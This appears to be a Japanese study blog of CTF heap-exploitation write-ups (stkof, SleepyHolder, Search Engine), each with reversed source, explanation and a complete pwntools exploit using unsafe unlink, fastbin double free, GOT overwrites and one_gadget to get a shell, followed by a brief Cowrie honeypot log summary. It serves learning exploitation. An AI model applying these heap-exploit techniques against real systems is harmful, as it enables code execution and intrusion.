stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

普通の64bitバイナリといった感じになっている。

解析

直接動作させてみると、何も出力されず何をしていいか分からなかった。
リバーシングしてみたところ、ほとんど何も出力しないが入力は受け付けるようになっていた。
ちゃんと解析しないことには動作させることもままならなかったので、手動デコンパイルした。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define ARR_SIZ 0x100000

int read_input();
int alloc_new_chunk();
int del_chunk();
int check_len();

int main(int argc, char** argv){
  // alarm(120); // time limit. temporary disabled
  char buf[0x68];
  int ret_val;
  
  while(1) {
    if(fgets(buf, 0xa, stdin) == 0)
      break;

    switch(atoi(buf)) {
    case 1:
      ret_val = alloc_new_chunk();
      break;
    case 2:
      ret_val = read_input();
      break;
    case 3:
      ret_val = del_chunk();
      break;
    case 4:
      ret_val = check_len();
      break;
    default:
      ret_val = -1;
      break;
    }

    if(ret_val == 0) {
      puts("OK\n");
    } else {
      puts("FAIL\n");
    }

    fflush(stdout);
  }
  
  return 0;
}

int top = 0;
char* str_arr[ARR_SIZ+1]; // pointer array

int alloc_new_chunk() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long long input_num = atoll(buf);
  char* chunk = malloc(input_num);
  
  if(chunk == 0)
    return -1;

  top++;
  str_arr[top] = chunk;
  
  printf("%d\n", top);
  
  return 0;
}

// read input-length
// read input to input-length
int read_input() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);

  long input_num = atoi(buf);
  if(input_num > 0x100000)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;
  
  fgets(buf, 0x10, stdin);
  long long read_len = atoll(buf);
  char* char_ptr = str_arr[input_num];

  int len;
  while((len = fread(char_ptr, 1, read_len, stdin)) > 0) {
    char_ptr += len;
    read_len -= len;
  }

  if(read_len != 0) 
    return -1;

  return 0;
}

int del_chunk() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long input_num = atol(buf);

  if(input_num > ARR_SIZ)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;

  free(str_arr[input_num]);
  str_arr[input_num] = 0;

  return 0;
}

int check_len() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long input_num = atol(buf);

  if(input_num > ARR_SIZ)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;

  if(strlen(str_arr[input_num]) > 3) {
    puts("...\n");
  } else {
    puts("//TODO\n");
  }

  return 0;
}

1から4までの数字を受け付けて、malloc、キー入力、free、長さのチェックができることが分かる。
キー入力で長さのチェックがないため、ヒープでのバッファオーバーフローが存在していることが分かる。
また、mallocしたチャンクはグローバル領域の配列で管理されていて、ASLRでもアドレスがランダム化されない。
freeするとアドレスは0クリアされるので、double-freeはできない。

解法

ここではunsafe unlinkという手法を使う。
mallocしたチャンクを書き換えてfree済みであると誤認させ、unlinkという機能を使わせることによって、あるメモリ領域を書き換えることができるという手法である。
手法自体はhow2heapとかkatagaitaiのスライドとかに解説がある。

unsafe unlinkで、unlinkするチャンクのアドレスが格納されている場所を、その場所から0x18上ぐらいの位置のアドレスに書き換えることができる。
配列にチャンクが格納されていることと併せて考えると、配列の中身を配列自身のアドレスに書き換えられることになる。
そうすると、配列に格納されたアドレスへの書き込みで配列中のアドレスを任意の値に設定できるので、任意のアドレスへの書き込みができることになる。

これを利用してfree@GOTをputs@PLTに書き換えたあと、配列中のアドレスをGOTに設定することで関数アドレスを表示させたり、smallbinを指すfdを表示させたりして、libcベースをリークさせる。
smallbinを指すfdを表示させる方法を使った。

これによりlibc内の任意の命令を好きなように呼び出せるようになったので、oneshot RCEを呼び出してシェルを起動すればいい。
呼び出しは、libcベースのリークと同じように適当なGOTの関数アドレスを書き換えてやればいい。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

context.update(arch='amd64')
exe = './stkof'
libc = '/lib/x86_64-linux-gnu/libc.so.6'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)


def malloc(length):
    io.clean()
    io.sendline('1')
    sleep(0.1)
    io.sendline(str(length))
    idx = int(io.recvline())
    io.recvuntil('OK')
    return idx


def read_input(idx, payload):
    io.clean()
    io.sendline('2')
    sleep(0.1)
    io.sendline(str(idx))
    sleep(0.1)
    io.sendline(str(len(payload)))
    sleep(0.1)
    io.send(payload)
    io.recvuntil('OK', timeout=0.1) # putsを途中で書き換えるためタイムアウトさせる。雑


def free(idx):
    io.sendline('3')
    sleep(0.1)
    io.sendline(str(idx))
    return io.recvuntil('OK')


def check_len(idx):
    io.clean()
    io.sendline('4')
    sleep(0.1)
    io.sendline(str(idx))
    log.info(io.recvline())
    io.recvuntil('OK')


# unsafe unlink
# fastbinだとunlinkされない
log.info('UNLINK')
malloc(0x80) # 1 システムのチャンクを避けるため
malloc(0x80) # 2
malloc(0x80) # 3 これをunlinkする、サイズを縮めるためやや大きく確保する
malloc(0x80) # 4

log.info('malloc 4 chunks.')
arr_ptr = 0x00602140 # チャンクが格納される配列の先頭アドレス
ptr_3 = arr_ptr + 8 * 3 # idx 3のチャンクのアドレス
chunk_siz = 0x90
log.info('unlink(0x{:x})'.format(ptr_3))
payload = 'A' * 0x80 # padding. userdata(0x20), 2はこれで埋める
# 3の領域に偽のヘッダを格納する、ユーザ領域をヘッダの最初にするためにチャンクを短くする必要がある
payload += 'B' * 0x18 #  prev_sizeとチャンクのサイズ、パディングが本来入る位置、サイズを縮めるのでその分埋める
payload += p64(chunk_siz - 0x10 + 1) # size, PREV_INUSEを1にする(2はunlinkしないので)。サイズを本来よりも0x10小さくする
payload += p64(ptr_3 - 0x18) # arr[3]->fd->bk == arr[3] を満すように
payload += p64(ptr_3 - 0x10) # arr[3]->bk->fd == arr[3] を満すように
payload += 'B' * (chunk_siz - 0x10 - 0x10 - 0x10) # userdata、余った領域を適当に埋める。0x10 = fd+bk, 0x10 = 縮めた分
payload += p64(0x80) # prev_size、こっちも本来より0x10縮める
# 4のサイズを上書きし、直前のチャンクがfree済みのように見せかける
payload += p64(0x90)
read_input(2, payload)

log.info('send payload for heap overflow.')

# 3がfree済みであるように書き換えたので、free(4)でその上の3がunlinkされるはず
free(4) # 全てうまくいけばunlinkできる
log.info('unlink!')

# この時点でidx 3の値はは配列の先頭アドレスになる

# libc leak
# free@GOTをputs@PLTにおきかえて、チャンクの中身を出力させてsmallbinのアドレスを出力させる
# fdが格納されているところまでオーバーフローさせればヌル終端されてないのでできるはず
idx1 = malloc(0x80) # オーバーフローさせるチャンク、fastbinでもいいかも
idx2 = malloc(0x80) # smallbinに繋ぐチャンク
idx3 = malloc(0x80) # 結合を防ぐ
free(idx2) # これでfdがsmallbinに繋がる

# freeをputsにする
log.info('free@GOT (0x{:x}) <= puts@PLT (0x{:x})'.format(elf.got['free'], elf.plt['puts']))
read_input(3, p64(elf.got['free'])) # arr[0] = free@GOT
read_input(0, p64(elf.plt['puts'])) # free@GOT = puts@PLT

# オーバーフローさせてヌル終端を消す
log.info('overflow')
payload = 'C' * 0x80
payload += 'D' * 0x8 # prev_size?
payload += 'E' * 0x8 # 次のチャンクのサイズ、オーバーフローが目的なので適当な値で埋めてしまう
read_input(idx1, payload)
ret = free(idx1) # freeがputsなのでfdが出力される
ret = ret[:-2].strip()
smallbin = u64(ret[-6:].ljust(8, '\0'))
smallbin_offset = 0x3c4b78
libc_base = smallbin - smallbin_offset
log.info('libc base: 0x{:x}'.format(libc_base))

# putsをoneshot rceにする
# puts@GOTのアドレスをoneshot rceのアドレスにしてシェルを起動する
log.info('Write Oneshot RCE to puts@GOT')
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # oneshot rce, libcによって違う
one_gadget = one_gadget[0] + libc_base

read_input(3, p64(elf.got['puts'])) # arr[0] = puts@GOT
read_input(0, p64(one_gadget)) # puts@GOT = oneshot_rce

io.interactive()

libc内のオフセットは環境によって違うので適宜読み替えて欲しい。

まとめ

初めてほぼ自力で解けたのでとても嬉しい。 直前の問題でもunsafe unlinkを使っていたのもあって、解法を簡単に思い付けた。 やっている最中にチャンクのサイズとかヒープのレイアウトとかも間違えていたりしたので、まだまだ練習が必要だと感じた。 もっと速く解くことを目標にする。

Heap exploitation HITCON CTF 2016: SleepyHolder

Heap exploitationのお勉強、HITCON2016 SleepyHolderを解いたのでそのメモ。

問題

問題自体はここから、参考にしたWriteupはここ

shellphishの方のリンクはヒントも載っている上にlibcがないので見ない方がいいかも。

SleepyHolderというプログラムとlibcが降ってくる。

解析

リバースしたソースコードはこんな感じ。

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

void keep();
void wipe();
void renew();

int main(int argc, char** argv){
  // setvbuf
  // put Waking holder
  int rand_fd = open("/dev/urandom", 0);
  int rand_num;
  read(rand_fd, &rand_num, sizeof(int)); // size 4
  rand_num &= 0xfff;

  malloc(rand_num);
  sleep(3);

  // puts, have secret?
  // puts, help

  while(1) {
    // 1 keep secret
    // 2 wipe secret
    // 3 renew secret

    int input_num;
    char buf[4];
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf));
    input_num = atoi(buf);

    switch(input_num) {
    case 1:
      keep();
      break;
    case 2:
      wipe();
      break;
    case 3:
      renew();
      break;
    default:
      break;
    }
  }

  return 0;
}

char* big_secret; // c0
char* huge_secret; // c8
char* small_secret; // d0
int big_flg; // d8
int huge_lock; // dc
int small_flg; // e0

void keep() {
  // 1. small secret
  // 2. big secret

  if(huge_lock == 0) {
    // 3. keep huge and lock
  }

  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg == 0) {
      small_secret = calloc(1, 0x28);
      small_flg = 1;

      // puts, tell secret
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg == 0) {
      big_secret = calloc(1, 0xfa0);
      big_flg = 1;

      // puts, tell secret
      read(0, big_secret, 0xfa0);
    }
    break;
  case 3:
    if(huge_lock == 0) {
      huge_secret = calloc(1, 0x61a80); // huge
      huge_lock = 1;
      // puts, tell secret
      read(0, huge_secret, 0x61a80);
    }
    break;
  default:
    break;
  }
}

void wipe() {
  // puts, which wipe
  // 1. small
  // 2. big
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    free(small_secret);
    small_flg = 0;
    break;
  case 2:
    free(big_secret);
    big_flg = 0;
    break;
  default:
    break;
  }
}

void renew() {
  // puts, which renew?
  // 1. small: 0x28, fastbin?
  // 2. big: 0xfa0, largebin?
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg != 0) {
      // puts, tell
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg != 0) {
      // puts, tell
      read(0, big_secret, 0xfa0);
    }
    break;
  default:
    break;
  }
}

freeするときにチェックがないことから、double freeができそうというのが分かる。
shellphishの方を見てると、巨大な領域を確保することから連続してfastbinをdouble freeすることも分かる。
それ以上は分からなかった。

ここでもうwriteupを見て、exploitを解析しながら解いた。
unsafe unlinkも同時に使うらしい。
unsafe unlinkはkatagaitai勉強会の第1回目のスライドを参考にした。

exploit

手順としては、まず巨大な領域のmallocを利用してdouble freeをしたあと、偽のチャンクヘッダを作成してからunlinkして、unsafe unlinkを成立させる。
unsafe unlinkによってグローバル領域にあるsmall_secretにはsmall_secret+0x18の値が格納される。
次に、small_secret+0x18に書き込みをしてグローバル変数を改ざんする。
big_secretにfree@GOTを格納することで、freeの呼び出しをputsの呼び出しにする。
これでputs@PLTを出力してlibcベースを特定し、そこからoneshot gadgetでsystemを起動できるアドレスを取得する。
次に、small_secretのアドレスをまた書き換えてputs@GOTにし、そこにoneshot gadgetを設定する。
これで次のputsの呼び出しでシェルが起動できる。

exploitはこんな感じ、ほとんどwriteupの方のコピーで動作のメモをしただけ。
タイミングの問題か、引数でDEBUGを指定しないとうまく動いてくれない。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './SleepyHolder'
libc = './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)

io.recvuntil("Hey! Do you have any secret?")


def keep(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '1')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def wipe(size_idx):
    io.sendlineafter('3. Renew secret\n', '2')
    io.sendlineafter('2. Big secret\n', str(size_idx))


def renew(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '3')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def unlink(small_ptr):
    # small_secretに格納されているアドレスを、unsafe unlinkで自身の上位にある領域のアドレスにする

    keep(1, "AAAA")  # small_secret, fastbin
    keep(2, "AAAA")  # big_secret, large bin
    wipe(1)
    keep(3, "AAAA")  # 巨大な領域を確保すると、fastbinsに繋がれているチャンクがunsortedbinに移される
    wipe(1)  # unsortedbinに移ったため、fastbinでのチェックがなくなるためdouble-freeできる

    # 偽のfreeチャンクのヘッダを作る
    # 0はprev_size、0x21はサイズになる。1はPREV_INUSEのフラグで、unlinkさせないためにセット
    payload = p64(0) + p64(0x21)
    # 偽のfd、0x18はunlinkでのp->fd->bk == pのチェックを回避するため(bkは0x18分下の位置)
    payload += p64(small_ptr - 0x18)
    # 偽のbk、0x10はp->BK->FD == pのチェックを回避するため(fdは0x10分したの位置)
    payload += p64(small_ptr - 0x10)
    payload += p64(0x20)  # 偽のprev_size、チェックがあるので整合を保つ
    keep(1, payload)

    wipe(2)  # unsafe unlink
    # fastbinを格納しているアドレスが格納されているグローバル領域をunlinkで書き換えられた
    # 具体的には自身より-0x18の位置(bk)を指している
    # グローバル変数のレイアウト
    # char* big_secret; // c0
    # char* huge_secret; // c8
    # char* small_secret; // d0
    # int big_flg; // d8
    # int huge_lock; // dc
    # int small_flg; // e0
    # small_secretへの書き込みで、big_secretなどの値を書き換えられる


def leak(big_ptr):
    # small_secretが指す領域を書き換えて、グローバル変数が指す値を改ざんする
    payload = "A" * 8  # small_secret - 0x18への書き込み、何もないのでパディング
    payload += p64(elf.got['free'])  # big_secretへの書き込み、free@GOTを指すようにする
    payload += "A" * 8  # huge_secretはもう使わないので適当に埋める
    payload += p64(big_ptr)  # small_secretはbig_secretを指しっぱなしにする
    payload += p32(1)  # big_flagを1に、mallocで確保されていることにする
    # これで、GOTのfreeのアドレスを書き換えて好きな関数を呼び出せるようになる

    # unlinkでsmall_secretが書き換えられたので、renewではbig_secretへと書き込まれる
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@GOT -> puts@PLT
    renew(1, p64(elf.got['puts']))

    wipe(2)  # free@GOTにputs@PLTが書き込まれているので、putsが呼び出される
    # 引数はbig_secretなので、renew(2, )で書き込まれたputs@PLTが出力される
    # libc内の関数のアドレスが分かったので、オフセットからlibcベースが分かる
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a  # one_gadgetを使ってsystemを起動できるアドレスを探す

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

    return one_gadget


def pwn(one_gadget):
    payload = "A" * 0x10  # padding
    payload += p64(elf.got['puts'])  # small_secretにputs@GOTをセット
    renew(1, payload)

    renew(1, p64(one_gadget))  # putsでone_gadgetが呼び出せるように


small_ptr = 0x006020d0
big_ptr = 0x006020c0

log.info('Unsafe unlink')
unlink(small_ptr)
log.info('Leak libc')
one_gadget = leak(big_ptr)
log.info('PWN!')
pwn(one_gadget)
io.interactive()

学んだこと

unsafe unlink

Heap exploitation 9447 CTF 2015: Search Engine

Heap exploitのお勉強のためにhttps://github.com/shellphish/how2heapを解いたので(Writeup見ながらだけど)、そのメモ。

問題

fastbin_dup_into_stackの9447-search-engineを解いた。
問題のリンクはhttps://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine

リンク先にあるhttps://github.com/pwning/public-writeup/tree/master/9447ctf2015/pwn230-searchhttps://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/を参考にした。

問題で与えられたプログラムは、文字列の登録と検索して削除する機能がある。

脆弱性

登録した文字列はヒープに格納されるようになっているが、削除でfreeされた後も検索可能になっている脆弱性がある。
削除されるときに0埋めされるので、元々の文字の長さのヌル文字で検索すればもう一度freeすることができる。
これによりuse after freeとdouble freeができるようになっている。

もうひとつの脆弱性は数値を読み込む処理でバッファ長だけ入力するとヌル終端されないバグがあり、スタック上の値を読み込めてしまう脆弱性がある。

全体の流れは、まずヌル終端されていない脆弱性を使い 、うまく調節してスタック中にあるスタックを指すアドレスをリークさせる。
次に、use after freeを使ってsmallbinsのfdをリークさせて、そこからlibcのベースアドレスを計算する。

最後はdouble freeとfastbin dupを使って、同じチャンクをfreeリストに繋ぐことで、スタック上のリターンアドレスのあるアドレスをヒープのアドレスとして取得する。
取得したスタックのアドレスにlibc内にあるone gadgetを指すアドレスを設定して、シェルを起動する。

以上のような流れになる。

学んだこと

use after freeとdouble freeの使われ方。
これまでuse after freeがあるからlibcが分かるとかdouble freeがあるから任意の読み書きができるとかの説明がまったく理解できなかったけど分かるようになった。

fastbin dupをどう使うか。
解説は見てどういう現象が起きるのかは知っていたけど、どう使えるのかが分かってなかった。 2つ問題を解いて、大分イメージできるようになってきた。

exploit

自分で書き直したやつ、雑なのであとで整理したい。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './search'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

def search(word):
    io.sendline('1')
    io.sendlineafter('Enter the word size:', str(len(word)))
    io.sendlineafter('Enter the word:', word)
    return io.recvline().find('Found') != -1

def index(sentence):
    io.sendline('2')
    io.sendlineafter('Enter the sentence size:', str(len(sentence)))
    io.sendlineafter('Enter the sentence:', sentence)
    io.recvuntil('Added sentence')


if args.DELAY:
    log.info('* DELAY *')
    import time
    time.sleep(3)

# スタックポインタをリークさせる
# 数値読み込みでのバッファが0x30で、ヌル終端しないので0x30文字入力するとリークさせられる
log.info('*LEAK STACK POINTER*')
io.clean()
io.sendline('A' * 0x60) # スタック上の値によってはリークしない、内部で再帰しているので繰り返し呼び出せる
io.recvuntil('is not a valid number')
leak_stack = io.recvuntil('is not a valid number')
leak_stack = leak_stack[0x31:leak_stack.find(' is not')]
leak_stack = u64(leak_stack.ljust(8, '\x00'))
log.info('leak stack: 0x{:x}'.format(leak_stack))

# use after freeでfastbinからheapの情報をリーク
log.info('*LEAK HEAP FD*')
index('A'*50 + ' ' + 'B'*5)
index('A'*50 + ' ' + 'B'*5)

## さっき登録した2つのチャンクを両方ともfreeする
search('B'*5)
io.sendline('y')  # 0埋めされてfreeされるが、リンクドリストからは外されない
io.sendline('y')  # もう片方もfreeしてbinsにつなぐ、これでfdにアドレスが入る

search('\x00'*5)  # 0埋めされた領域を検索、削除するときに0埋めされるので検索できる
io.recvuntil(': ')
leak_heap = u64(io.recvuntil('Delete')[:8])  # freeされたチャンクの先頭部分、fdが表示される
leak_heap = leak_heap & ~0xfff # almost rest chunk
log.info("leak heap: {:x}".format(leak_heap))

io.sendline('n')

# smallbinでuse-after-freeでlibc leak
log.info('*LEAK SMALLBINS*')
index(('C'*256 + ' ' + 'D'*6 + ' ').ljust(512, 'E'))  # smallbinを確保
search('D'*6)
io.sendline('y')  # freeしてfdとbkをセット

search('\0'*6)
io.recvuntil('Found 512: ')
leak_top = u64(io.recvuntil('Delete')[:8])  # topにつながれているfd?
log.info("leak top: {:x}".format(leak_top))
io.sendline('n')
libc_base = leak_top - 0x3c4b78
io.info("libc base: {:x}".format(libc_base))

# fastbin(0x38)を取得
log.info('* Dobule free *')
index('F'*51 + ' ' + 'G'*4) # as chunk a
index('H'*51 + ' ' + 'G'*4) # as chunk b
index('I'*51 + ' ' + 'G'*4) # as chunk c
search('G'*4)
io.sendline('y') # free chunk c
io.sendline('y') # free chunk b
io.sendline('y') # free chunk a

# 現在のfreeリスト [head]->a->b->c->NULL
# double-freeしてfreeリストで参照させる
search('\0'*4) # freeされたノードを検索する
# すぐにfreeされるからチャンクが結合されてcがなくなる?
io.sendline('y') # chunk bを削除
io.sendline('n') # chunk aは削除しない
# TODO: check

# freeリストは[head]->b->a->b->...となる
# chunk bが取得される
offset = 0x52
offset = 0x58 - 14 - 8 # サイズのチェックを突破するため、0x40xxxxが格納された領域の0x40がサイズになるようにずらす
log.info('ret addr: 0x{:x}'.format(leak_stack + 0x58))
index(p64(leak_stack + offset).ljust(48, '\0') + ' ' + "J"*7) # TODO: need check
# b.fd = stack_ptr (points return address)

# [head]->a->b->x
# aを取り除く
index('K'*48 + ' ' + 'J'*7) # chunk a
# [head]->b->x
# bを取り除く、このときxはleak_stack + offsetのアドレスになっている
index('L'*48 + ' ' + 'J'*7) # chunk b

# [head]->x
# leak_stack + offset、つまりリターンアドレスがmallocの返り値になっている
ret = 0x400896 # points `ret` inst
onegadget_offset = 0x45216
onegadget_offset = 0x4526a
system_magic = libc_base + onegadget_offset
index(('A'*6 + p64(system_magic)).ljust(56, 'L'))

io.sendline('3')
io.clean()
io.interactive()

20181124 ハニーポット記録

数日間cowrieを動かしてみたので、どんな感じになったのか簡単に書いおく。

動かした期間はだいたい2018/11/15 ~ 2018/11/24(今も稼働中)。

総接続数は約30000ほどで、そのうち14675は同じIPからの通信だった。 どうもMiraiに感染されているらしいけどやたら試行が多い。

ダウンロードされたマルウェアの固体数はだいたい270前後だった。 ハッシュが一致するものはひとつとして数えていて、実際には同じマルウェアが1400回くらいダウンロードされたりしてる。 VirusTotalによるとだいたいがMirai系で、その他はxorddosがいくつかと、BashIRCボット、PerlIRCボットが2つくらいだった。 どれか解析したい。 一度配布してるマルウェアが変わったサーバがいた、他のやつに感染したんだろうか?

特定のネットワークアドレスのホストから何度も変なアクセスがあって、TCPフォワーディングか何かで検索クエリみたいなアドレスとかがログに残っていた。 どういうアクセスなのかまったく分からなかった。特定のアドレスではなくネットワークアドレスが一致する複数のホストからアクセスされているのも気になった。 Whoisの情報では同じ組織に割り当てられているらしいので、内部で感染拡大したのだろうか?

失敗したコマンドもログに残るようになっているが、構文エラーでダウンロードに失敗しているマルウェアもいた。 可能なものは手動でダウンロードしてきた。 先頭に#!/bin/shがあったので、スクリプトとして保存して実行するつもりだったのかもしれない。

ほとんどはパッキングされていなかったが、いくつかUPXでパックされているものや、簡単な難読化がほどこされているものもあった。 そういうマルウェアは目に見えてVirusTotalでの検知率が低かったのが印象的だった。

実際にどれくらい攻撃がくるのかとかが分かって面白かったので、他のハニポも使っていきたいなあ。